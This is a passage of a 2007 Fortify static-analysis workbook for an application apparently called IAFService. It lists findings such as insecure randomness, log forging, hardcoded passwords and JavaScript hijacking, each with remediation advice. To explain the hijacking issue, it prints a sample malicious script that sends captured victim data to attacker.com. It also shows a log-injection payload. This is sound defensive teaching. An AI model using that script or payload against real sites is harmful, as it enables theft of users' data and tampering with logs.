Folder: InfoKingdom: Security FeaturesAbstract: Standard pseudo-random number generators cannot withstand cryptographic attacks.Sink: PortletUtilities.js:62 FunctionPointerCall()60 function fnOpenWindow(pageURL, name, resizable, scrollbars, width, height)

61 {

62 var num = Math.round(Math.random() * 100000);

63 if (pageURL.indexOf("?") > 0)

64 pageURL = pageURL + "&_counter=" + num;

zapatec.js, line 497 (Insecure Randomness)

Folder: InfoKingdom: Security FeaturesAbstract: Standard pseudo-random number generators cannot withstand cryptographic attacks.Sink: zapatec.js:497 FunctionPointerCall()495 if(oConfig.templateFile&&oConfig.templates){this.fireEvent('loadTemplateStart');this.templa

teLoaded=false;varsTemplateFile=this.constructor.templateFiles;if(sTemplateFile){sTemplateFile=sTemplateFile[oConfig.templateFile];}

496 if(sTemplateFile){this.parseTemplate(sTemplateFile);}else{varoWidget=this;zapatecTransport.fetch({url:oConfig.templateFilePath+oConfig.templateFile+'.html'+

497 (typeofzapatecDebug=='function'?'?'+Math.random():''),onLoad:function(oRequest){if(!oWidget){return;}

498 oWidget.parseTemplate(oRequest.responseText);oWidget=null;},onError:function(oError){if(!oWidget){return;}

499 oWidget.templateLoaded=true;oWidget.fireEvent('loadTemplateEnd');oWidget.fireEvent('loadTemplateError',oError);oWidget=null;}});}}};Zapatec.Widget.prototype.parseTemplate=function(sHtml){varoContainer=zapatecTransport.parseHtml(sHtml);oContainer.style.display='none';document.body.insertBefore(oContainer,document.body.firstChild);this.initTemplates();document.body.removeChild(oContainer);oContainer=null;this.templateLoaded=true;this.fireEvent('loadTemplateEnd');this.display();};Zapatec.Widget.prototype.initTemplates=function(){this.discardControls();this.discardTemplates();this.templates={};var oTemplates=this.templates;varoTemplateContainers=this.config.templates;if(!oTemplateContainers){this.debug('Missingconfig option "templates".');return;}

WcmWindowHelper.js, line 52 (Insecure Randomness)

Folder: InfoKingdom: Security FeaturesAbstract: Standard pseudo-random number generators cannot withstand cryptographic attacks.Sink: WcmWindowHelper.js:52 FunctionPointerCall()50 function getRandomNumber()

51 {

52 return Math.round(Math.random() * 10000);

53 }

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 19 of 37

Page 20: IAFService Report New2

Category: Log Forging (3 Issues)

0.00 0.25 0.50 0.75 1.00 1.25 1.50 1.75 2.00 2.25 2.50 2.75 3.00

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:Writing unvalidated user input to log files can allow an attacker to forge log entries or inject malicious content into the logs.

Explanation:

Log forging vulnerabilities occur when:

1. Data enters an application from an untrusted source.

2. The data is written to an application or system log file.

Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging.Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis orautomated with a tool that automatically culls logs for important events or trending information.

Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequentlylogged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing theapplication with input that includes appropriate characters. If the log file is processed automatically, the attacker can render thefile unusable by corrupting the format of the file or injecting unexpected characters. A more subtle attack might involve skewingthe log file statistics. Forged or otherwise, corrupted log files can be used to cover an attacker's tracks or even to implicateanother party in the commission of a malicious act [1]. In the worst case, an attacker may inject code or other commands into thelog file and take advantage of a vulnerability in the log processing utility [2].

Example: The following web application code attempts to read an integer value from a request object. If the value fails to parseas an integer, then the input is logged with an error message indicating what happened.

String val = request.getParameter("val");

try {

int value = Integer.parseInt(val);

}

catch (NumberFormatException) {

log.info("Failed to parse val = " + val);

}

If a user submits the string "twenty-one" for val, the following entry is logged:

INFO: Failed to parse val=twenty-one

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry islogged:

INFO: Failed to parse val=twenty-one

INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

Recommendations:Prevent log forging attacks with indirection: create a set of legitimate log entries that correspond to different events that must belogged and only log entries from this set. To capture dynamic content, such as users logging out of the system, always use server-controlled values rather than user-supplied data. This ensures that the input provided by the user is never used directly in a logentry.

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 20 of 37

Page 21: IAFService Report New2

In some situations this approach is impractical because the set of legitimate log entries is too large or complicated. In thesesituations, developers often fall back on blacklisting. Blacklisting selectively rejects or escapes potentially dangerous charactersbefore using the input. However, a list of unsafe characters can quickly become incomplete or outdated. A better approach is tocreate a white list of characters that are allowed to appear in log entries and accept input composed exclusively of characters inthe approved set. The most critical character in most log forging attacks is the '\n' (newline) character, which should never appearon a log entry white list.

Tips:Many logging operations are created only for the purpose of debugging a program during development and testing. In ourexperience, debugging will be enabled, either accidentally or purposefully, in production at some point. Do not excuse logforging vulnerabilities simply because a programmer says "I don't have any plans to turn that on in production".

CEConnection.java, line 22 (Log Forging)

Folder: WarningKingdom: Input Validation and RepresentationAbstract: The method CEConnection() in CEConnection.java writes unvalidated user input to the log

on line 22. An attacker could take advantage of this behavior to forge log entries or injectmalicious content into the log.

Source: Config.java:18 java.util.Properties.load()16 .getResourceAsStream(PROP_FILE);

17 Properties prop = new Properties();

18 prop.load(is);

19 objectStoreName = prop.getProperty("objectStoreName");

20 SysUserName = prop.getProperty("SysUserName");

Sink: CEConnection.java:22 org.apache.log4j.Category.info()20 mConn =

21 Factory.Connection.getConnection(mConfig.getStrURI());

22 logger.info("UserContext.createSubject(mConn, " + mConfig.getSysUserName() + ")...");

23 Subject subject =

24 UserContext.createSubject(mConn, mConfig.getSysUserName(), mConfig.getSysPassWord(),"FileNetP8WSI");

CEConnection.java, line 27 (Log Forging)

Folder: WarningKingdom: Input Validation and RepresentationAbstract: The method CEConnection() in CEConnection.java writes unvalidated user input to the log

on line 27. An attacker could take advantage of this behavior to forge log entries or injectmalicious content into the log.

Source: Config.java:18 java.util.Properties.load()16 .getResourceAsStream(PROP_FILE);

17 Properties prop = new Properties();

18 prop.load(is);

19 objectStoreName = prop.getProperty("objectStoreName");

20 SysUserName = prop.getProperty("SysUserName");

Sink: CEConnection.java:27 org.apache.log4j.Category.info()25 UserContext mUc = UserContext.get();

26 mUc.pushSubject(subject);

27 logger.info("getCEConnection(url=" + mConfig.getStrURI() + ", user=" +mConfig.getSysUserName() + ": OK...");

28 }

CEConnection.java, line 19 (Log Forging)

Folder: WarningKingdom: Input Validation and RepresentationAbstract: The method CEConnection() in CEConnection.java writes unvalidated user input to the log

on line 19. An attacker could take advantage of this behavior to forge log entries or injectmalicious content into the log.

Source: Config.java:18 java.util.Properties.load()16 .getResourceAsStream(PROP_FILE);

17 Properties prop = new Properties();

18 prop.load(is);

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 21 of 37

Page 22: IAFService Report New2

19 objectStoreName = prop.getProperty("objectStoreName");

20 SysUserName = prop.getProperty("SysUserName");

Sink: CEConnection.java:19 org.apache.log4j.Category.info()17 //String username = "p8admin";

18 //String password = "filenet";

19 logger.info("Factory.Connection.getConnection(" + mConfig.getStrURI() + ")...");

20 mConn =

21 Factory.Connection.getConnection(mConfig.getStrURI());

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 22 of 37

Page 23: IAFService Report New2

Category: Password Management: Hardcoded Password (3 Issues)

0.00 0.25 0.50 0.75 1.00 1.25 1.50 1.75 2.00 2.25 2.50 2.75 3.00

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:Hardcoded passwords may compromise system security in a way that cannot be easily remedied.

Explanation:

It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to viewthe password, it also makes fixing the problem extremely difficult. Once the code is in production, the password cannot bechanged without patching the software. If the account protected by the password is compromised, the owners of the system willbe forced to choose between security and availability.

Example: The following code uses a hardcoded password to connect to an application and retrieve addressbook entries:

...

obj = new XMLHttpRequest();

obj.open('GET','/fetchusers.jsp?id='+form.id.value,'true','scott','tiger');

...

This code will run successfully, but anyone who accesses the containing web page will be able to view the password.

Recommendations:Passwords should never be hardcoded and should generally be obfuscated and managed in an external source. Storing passwordsin plaintext anywhere on the web site allows anyone with sufficient permissions to read and potentially misuse the password. ForJavaScript calls that require passwords, it is better to prompt the user for the password at connection time.

Tips:Avoid hardcoding passwords in source code and avoid using default passwords. If a hardcoded password is the default, requirethat it be changed and remove it from the source code.

Dialog.js, line 64 (Password Management: Hardcoded Password)

Folder: WarningKingdom: Security FeaturesAbstract: Hardcoded passwords may compromise system security in a way that cannot be easily

remedied.Sink: Dialog.js:64 FieldAccess()62 return html;}

63 $.$Password=function()

64 {this.id=$.$Dialog.$arg(arguments,0);this.help=$.$Dialog.$arg(arguments,1);this.initialValue=$.$Dialog.$arg(arguments,2);this.numColumns=$.$Dialog.$arg(arguments,3,1);this.vAlignment=$.$Dialog.$arg(arguments,4,$.$VAlignment.middle);this.isMultiLine=false;this.isPassword=true;this.isFileUpload=false;this.isRequired=false;this.canFocus=true;this.row=null;}

65 $.$Password.prototype.$focus=function()

66 {this.row.dialog.win.controls.document.forms[0].elements[this.id].select();this.row.dialog.win.controls.document.forms[0].elements[this.id].focus();}

Dialog.js, line 85 (Password Management: Hardcoded Password)

Folder: WarningKingdom: Security Features

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 23 of 37

Page 24: IAFService Report New2

Abstract: Hardcoded passwords may compromise system security in a way that cannot be easilyremedied.

Sink: Dialog.js:85 FieldAccess()83 return html;}

84 $.$FileUpload=function()

85 {this.id=$.$Dialog.$arg(arguments,0);this.help=$.$Dialog.$arg(arguments,1);this.initialValue=$.$Dialog.$arg(arguments,2);this.numColumns=$.$Dialog.$arg(arguments,3,1);this.vAlignment=$.$Dialog.$arg(arguments,4,$.$VAlignment.middle);this.isMultiLine=false;this.isPassword=false;this.isFileUpload=true;this.isRequired=false;this.canFocus=true;this.row=null;}

86 $.$FileUpload.prototype.$focus=function()

87 {this.row.dialog.win.controls.document.forms[0].elements[this.id].select();this.row.dialog.win.controls.document.forms[0].elements[this.id].focus();}

Dialog.js, line 43 (Password Management: Hardcoded Password)

Folder: WarningKingdom: Security FeaturesAbstract: Hardcoded passwords may compromise system security in a way that cannot be easily

remedied.Sink: Dialog.js:43 FieldAccess()41 html+=this.row.$createSingleLineAlignmentDiv(content,this.id,x,y,width,height,this.hAlignme

nt,this.vAlignment);return html;}

42 $.$EditText=function()

43 {this.id=$.$Dialog.$arg(arguments,0);this.help=$.$Dialog.$arg(arguments,1);this.initialValue=$.$Dialog.$arg(arguments,2);this.isMultiLine=$.$Dialog.$arg(arguments,3,false);this.numColumns=$.$Dialog.$arg(arguments,4,1);this.vAlignment=$.$Dialog.$arg(arguments,5,$.$VAlignment.middle);this.readOnly=$.$Dialog.$arg(arguments,6,false);this.wrap=$.$Dialog.$arg(arguments,7,true);this.isPassword=false;this.isFileUpload=false;this.isRequired=false;this.canFocus=true;this.row=null;}

44 $.$EditText.prototype.$focus=function()

45 {this.row.dialog.win.controls.document.forms[0].elements[this.id].select();this.row.dialog.win.controls.document.forms[0].elements[this.id].focus();}

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 24 of 37

Page 25: IAFService Report New2

Category: Missing Check against Null (2 Issues)

0.00 0.25 0.50 0.75 1.00 1.25 1.50 1.75 2.00

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:The program can dereference a null pointer because it does not check the return value of a function that might return null.

Explanation:

Just about every serious attack on a software system begins with the violation of a programmer's assumptions. After the attack,the programmer's assumptions seem flimsy and poorly founded, but before an attack many programmers would defend theirassumptions well past the end of their lunch break.

Two dubious assumptions that are easy to spot in code are "this function call can never fail" and "it doesn't matter if this functioncall fails". When a programmer ignores the return value from a function, they implicitly state that they are operating under one ofthese assumptions.

Example 1: The following code does not check to see if the string returned by getParameter() is null before calling the memberfunction compareTo(), potentially causing a null dereference.

String itemName = request.getParameter(ITEM_NAME);

if (itemName.compareTo(IMPORTANT_ITEM)) {

...

}

...

Example 2:. The following code shows a system property that is set to null and later dereferenced by a programmer whomistakenly assumes it will always be defined.

System.clearProperty("os.name");

...

String os = System.getProperty("os.name");

if (os.equalsIgnoreCase("Windows 95") )

System.out.println("Not supported");

The traditional defense of this coding error is:

"I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior soit doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value."

But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Recommendations:If a function can return an error code or any other evidence of its success or failure, always check for the error condition, even ifthere is no obvious way for it to occur. In addition to preventing security errors, many initially mysterious bugs have eventuallyled back to a failed method call with an unchecked return value.

Create an easy to use and standard way for dealing with failure in your application. If error handling is straightforward,programmers will be less inclined to omit it. One approach to standardized error handling is to write wrappers around commonly-used functions that check and handle error conditions without additional programmer intervention. When wrappers areimplemented and adopted, the use of non-wrapped equivalents can be prohibited and enforced by using custom rules.

Example 3: The following code implements a wrapper around getParameter() that checks the return value of getParameter()against null and uses a default value if the requested parameter is not defined.

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 25 of 37

Page 26: IAFService Report New2

String safeGetParameter (HttpRequest request, String name)

{

String value = request.getParameter(name);

if (value == null) {

return getDefaultValue(name)

}

return value;

}

Tips:Watch out for programmers who want to explain away this type of issue by saying "that can never happen because ...". Chancesare good that they have developed their intuition about the way the system works by using their development workstation. If yoursoftware will eventually run under different operating systems, operating system versions, hardware configurations, or runtimeenvironments, their intuition may not apply.

Display.jsp, line 92 (Missing Check against Null)

Folder: WarningKingdom: API AbuseAbstract: The method _jspService() in Display.jsp can dereference a null pointer on line 94 because

it does not check the return value of getParameter(), which might return null.Sink: Display.jsp:92 paramValue = getParameter(...) : ServletRequest.getParameter

may return NULL()90 for (int i=0; i < parameterNames.size (); i++) {

91 String paramName = parameterNames.get(i);

92 String paramValue = request.getParameter (paramName);

93 /*System.out.println ("parameterNames[i]=" + paramName + ", value= " + paramValue +"...");*/

94 if (paramValue.isEmpty ())

Config.java, line 15 (Missing Check against Null)

Folder: WarningKingdom: API AbuseAbstract: The method Config() in Config.java can dereference a null pointer on line 16 because it

does not check the return value of getClassLoader(), which might return null.Sink: Config.java:15 getClassLoader() : Class.getClassLoader may return NULL()13 InputStream is = null;

14 try {

15 is = this.getClass().getClassLoader()

16 .getResourceAsStream(PROP_FILE);

17 Properties prop = new Properties();

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 26 of 37

Page 27: IAFService Report New2

Category: System Information Leak: Missing Catch Block (2 Issues)

0.00 0.25 0.50 0.75 1.00 1.25 1.50 1.75 2.00

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:If a Servlet fails to catch all exceptions, it might reveal debugging information that will help an adversary form a plan of attack.

Explanation:

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includesdebugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker amalformed SQL query string, the type of database being used, and the version of the application container. This informationenables the attacker to target known vulnerabilities in these components.

Example 1: In the following method a DNS lookup failure will cause the Servlet to throw an exception.

protected void doPost (HttpServletRequest req,

HttpServletResponse res)

throws IOException {

String ip = req.getRemoteAddr();

InetAddress addr = InetAddress.getByName(ip);

...

out.println("hello " + addr.getHostName());

}

Example 2: The following method will throw a NullPointerException if the parameter "name" is not part of the request.

protected void doPost (HttpServletRequest req,

HttpServletResponse res)

throws IOException {

String name = getParameter("name");

...

out.println("hello " + name.trim());

}

Recommendations:All top-level Servlet methods should catch Throwable, thereby minimizing the chance that the Servlet's error responsemechanism is invoked.

Example 3: The method from Example 1 should be rewritten as follows:

proteced void doPost (HttpServletRequest req,

HttpServletResponse res) {

try {

String ip = req.getRemoteAddr();

InetAddress addr = InetAddress.getByName(ip);

...

out.println("hello " + addr.getHostName());

}catch (Throwable t) {

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 27 of 37

Page 28: IAFService Report New2

logger.error("caught throwable at top level", t);

}

}

}

CallbackServlet.java, line 36 (System Information Leak: Missing Catch Block)

Folder: WarningKingdom: EncapsulationAbstract: The servlet CallbackServlet fails to catch all exceptions in doPost(). If a Servlet fails to

catch all exceptions, it might reveal debugging information that will help an adversaryform a plan of attack.

Sink: CallbackServlet.java:36 Function: com.ibm.otda_ifa.CallbackServlet.doPost()34 private final static Logger log = Logger.getLogger(CallbackServlet.class);

35

36 protected void doPost(HttpServletRequest request,

37 HttpServletResponse response) throws ServletException, IOException {

38 try {

CallbackServlet.java, line 47 (System Information Leak: Missing Catch Block)

Folder: WarningKingdom: EncapsulationAbstract: The servlet CallbackServlet fails to catch all exceptions in doGet(). If a Servlet fails to

catch all exceptions, it might reveal debugging information that will help an adversaryform a plan of attack.

Sink: CallbackServlet.java:47 Function: com.ibm.otda_ifa.CallbackServlet.doGet()45 }

46

47 protected void doGet(HttpServletRequest request,

48 HttpServletResponse response) throws ServletException, IOException {

49 try {

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 28 of 37

Page 29: IAFService Report New2

Category: J2EE Misconfiguration: Excessive Session Timeout (1 Issues)

0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:An overly long session timeout gives attackers more time to potentially compromise user accounts.

Explanation:

The longer a session stays open, the larger the window of opportunity an attacker has to compromise user accounts. While asession remains active, an attacker might be able to brute force a user's password, crack a user's wireless encryption key, orcommandeer a session from an open browser. Longer session timeouts can also prevent memory from being released andeventually result in a denial of service if a sufficiently large number of sessions are created.

Example 1: If the session timeout is zero or less than zero, the session never expires. The following example shows a sessiontimeout set to -1, which will cause the session to remain active indefinitely.

<session-config>

<session-timeout>-1</session-timeout>

</session-config>

The <session-timeout> tag defines the default session timeout interval for all sessions in the web application. If the <session-timeout> tag is missing, it is left to the container to set the default timeout.

This category is from the Cigital Java Rulepack. http://www.cigital.com/securitypack/

Recommendations:Set a session timeout that is 30 minutes or less, which both allows users to interact with the application over a period of time andprovides a reasonable bound for the window of attack.

Example 2: The following example sets the session timeout to 20 minutes.

<session-config>

<session-timeout>20</session-timeout>

</session-config>

web.xml, line 2 (J2EE Misconfiguration: Excessive Session Timeout)

Folder: WarningKingdom: EnvironmentAbstract: An overly long session timeout gives attackers more time to potentially compromise user

accounts.Sink: web.xml:22 <web-app id="WebApp_ID" version="2.5" xmlns="http://java.sun.com/xml/ns/javaee"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 29 of 37

Page 30: IAFService Report New2

Category: J2EE Misconfiguration: Missing Error Handling (1 Issues)

0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:A web application must define default error pages in order to prevent attackers from mining information from the applicationcontainer's built-in error response.

Explanation:

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to theeventual success or failure of any attempted attacks. If the application shows the attacker a stack trace, it relinquishes informationthat makes the attacker's job significantly easier. For example, a stack trace might show the attacker a malformed SQL querystring, the type of database being used, and the version of the application container. This information enables the attacker totarget known vulnerabilities in these components.

The application configuration should specify a default error page in order to guarantee that the application will never leak errormessages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good securitypractice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly bethrown by the application.

Recommendations:A web application must be configured with a default error page. Your web.xml should include at least the following entries:

<error-page>

<exception-type>java.lang.Throwable</exception-type>

<location>/error.jsp</location>

</error-page>

<error-page>

<error-code>404</error-code>

<location>/error.jsp</location>

</error-page>

<error-page>

<error-code>500</error-code>

<location>/error.jsp</location>

</error-page>

web.xml, line 2 (J2EE Misconfiguration: Missing Error Handling)

Folder: WarningKingdom: EnvironmentAbstract: A web application must define default error pages in order to prevent attackers from

mining information from the application container's built-in error response.Sink: web.xml:22 <web-app id="WebApp_ID" version="2.5" xmlns="http://java.sun.com/xml/ns/javaee"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 30 of 37

Page 31: IAFService Report New2

Category: JavaScript Hijacking: Vulnerable Framework (1 Issues)

0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows anunauthorized attacker to read confidential data from a vulnerable application.

Explanation:

An application may be vulnerable to JavaScript hijacking [1] if it:

- Uses JavaScript as a data transfer format

- Handles confidential data

Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, Fortify calls attention to potentialJavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policyrequires that, in order for JavaScript to access the contents of a Web page, both the JavaScript and the Web page must originatefrom the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitiveinformation from other websites using a client's credentials, culls through it, and communicates it back to the attacker.

JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a Web application uses JavaScript tocommunicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website tobe included and executed in the context of any other website. Even though a malicious site cannot directly examine any dataloaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows itto witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications useJavaScript as a data transport mechanism, they are often vulnerable while traditional Web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFCdefines JSON syntax to be a subset of JavaScript object literal syntax . JSON is based on two types of data structures: arrays andobjects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable toJavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a validJavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an applicationneeds to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSONobject is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server componentsof a Web application that is used to manage sales leads. It goes on to show how an attacker can mimic the client and gain accessto the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstreambrowsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

if (req.readyState == 4) {

var txt = req.responseText;

object = eval("(" + txt + ")");

req = null;

}

};

req.send(null);

When the code runs, it generates an HTTP request that looks like this:

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 31 of 37

Page 32: IAFService Report New2

GET /object.json HTTP/1.1

...

Host: www.example.com

Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)

The server responds with an array in JSON format:

HTTP/1.1 200 OK

Cache-control: private

Content-Type: text/JavaScript; charset=utf-8

...

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

"purchases":60000.00, "email":"[email protected]" },

{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",

"purchases":120000.00, "email":"[email protected]" },

{"fname":"Jacob", "lname":"West", "phone":"6502135600",

"purchases":45000.00, "email":"[email protected]" }]

In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannotaccess this information without knowing the user's session identifier. (In most modern Web applications, the session identifier isstored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information usingJavaScript hijacking.

If a victim can be tricked into visiting a Web page that contains the following malicious code, the victim's lead information willbe sent to the attacker's Web site.

<script>

// override the constructor used to create all objects so

// that whenever the "email" field is set, the method

// captureObject() will run. Since "email" is the final field,

// this will allow us to steal the whole object.

function Object() {

this.email setter = captureObject;

}

// Send the captured object back to the attacker's Web site

function captureObject(x) {

var objString = "";

for (fld in this) {

objString += fld + ": " + this[fld] + ", ";

}

objString += "email: " + x;

var req = new XMLHttpRequest();

req.open("GET", "http://attacker.com?obj=" +

escape(objString),true);

req.send(null);

}

</script>

<!-- Use a script tag to bring in victim's data -->

<script src="http://www.example.com/object.json"></script>

The malicious code uses a script tag to include the JSON object in the current page. The Web browser will send up theappropriate session cookie with the request. In other words, this request will be handled just as though it had originated from thelegitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness theevaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, themalicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contentsback to the malicious site. Other attacks might override the default constructor for arrays instead.

Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message.The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScripthijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it canbe secure, but it cannot be both.

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 32 of 37

Page 33: IAFService Report New2

If the user is not logged into the vulnerable site, the attacker can compensate by asking the user to log in and then displaying thelegitimate login page for the application. This is not a phishing attack -- the attacker does not gain access to the user's credentials-- so anti-phishing countermeasures will not be able to defeat the attack.

More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags.This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one ofthe applications involved is malicious.

Recommendations:All programs that communicate using JavaScript should take the following defensive measures:

- Decline malicious requests: Include a hard-to-guess identifier, such as the session identifier, as part of each request that willreturn JavaScript. This defeats cross-site request forgery attacks by allowing the server to validate the origin of the request.

- Prevent direct execution of the JavaScript response: Include characters in the response that prevent it from being successfullyhanded off to a JavaScript interpreter without modification. This prevents an attacker from using a <script> tag to witness theexecution of the JavaScript.

The best way to defend against JavaScript hijacking is to do adopt both defensive tactics.

Declining Malicious Requests

From the server's perspective, a JavaScript hijacking attack looks like an attempt at cross-site request forgery, and defensesagainst cross-site request forgery will also defeat JavaScript hijacking attacks.

In order to make it easy to detect malicious requests, every request should include a parameter that is hard for an attacker toguess. One approach is to add the session cookie to the request as a parameter. When the server receives such a request, it cancheck to be certain the session cookie matches the value in the request parameter. Malicious code does not have access to thesession cookie (cookies are also subject to the Same Origin Policy), so there is no easy way for the attacker to craft a request thatwill pass this test. A different secret can also be used in place of the session cookie. As long as the secret is hard to guess andappears in a context that is accessible to the legitimate application and not accessible from a different domain, it will prevent anattacker from making a valid request.

Some frameworks run only on the client side. In other words, they are written entirely in JavaScript and have no knowledgeabout the workings of the server. This implies that they do not know the name of the session cookie. Even without knowing thename of the session cookie, they can participate in a cookie-based defense by adding all of the cookies to each request to theserver.

Example 2: The following JavaScript fragment outlines this "blind client" strategy:

var httpRequest = new XMLHttpRequest();

...

var cookies="cookies="+escape(document.cookie);

http_request.open('POST', url, true);

httpRequest.send(cookies);

The server could also check the HTTP referer header in order to make sure the request has originated from the legitimateapplication and not from a malicious application. Historically speaking, the referer header has not been reliable, so we do notrecommend using it as the basis for any security mechanisms.

A server can mount a defense against JavaScript hijacking by responding to only HTTP POST requests and not responding toHTTP GET requests. This is a defensive technique because the <script> tag always uses GET to load JavaScript from externalsources. This defense is also error-prone. The use of GET for better performance is encouraged by Web application experts. Themissing connection between the choice of HTTP methods and security means that, at some point, a programmer may mistake thislack of functionality for an oversight rather than a security precaution and modify the application to respond to GET requests.

Preventing Direct Execution of the Response

In order to make it impossible for a malicious site to execute a response that includes JavaScript, the legitimate client applicationcan take advantage of the fact that it is allowed to modify the data it receives before executing it, while a malicious applicationcan only execute it using a <script> tag. When the server serializes an object, it should include a prefix (and potentially a suffix)that makes it impossible to execute the JavaScript using a <script> tag. The legitimate client application can remove thisextraneous data before running the JavaScript.

Example 3: There are many possible implementations of this approach. The following example demonstrates two.

First, the server could prefix each message with the statement:

while(1);

Unless the client removes this prefix, evaluating the message will send the JavaScript interpreter into an infinite loop. The clientsearches for and removes the prefix like this:

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

if (req.readyState == 4) {

var txt = req.responseText;

if (txt.substr(0,9) == "while(1);") {

txt = txt.substring(10);

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 33 of 37

Page 34: IAFService Report New2

}

object = eval("(" + txt + ")");

req = null;

}

};

req.send(null);

Second, the server can include comment characters around the JavaScript that have to be removed before the JavaScript is sent toeval(). The following JSON object has been enclosed in a block comment:

/*

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

"purchases":60000.00, "email":"[email protected]" }

]

*/

The client can search for and remove the comment characters like this:

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

if (req.readyState == 4) {

var txt = req.responseText;

if (txt.substr(0,2) == "/*") {

txt = txt.substring(2, txt.length - 2);

}

object = eval("(" + txt + ")");

req = null;

}

};

req.send(null);

Any malicious site that retrieves the sensitive JavaScript via a <script> tag will not gain access to the data it contains.

zapatec.js, line 312 (JavaScript Hijacking: Vulnerable Framework)

Folder: InfoKingdom: EncapsulationAbstract: Applications that use JavaScript notation to transport sensitive data can be vulnerable to

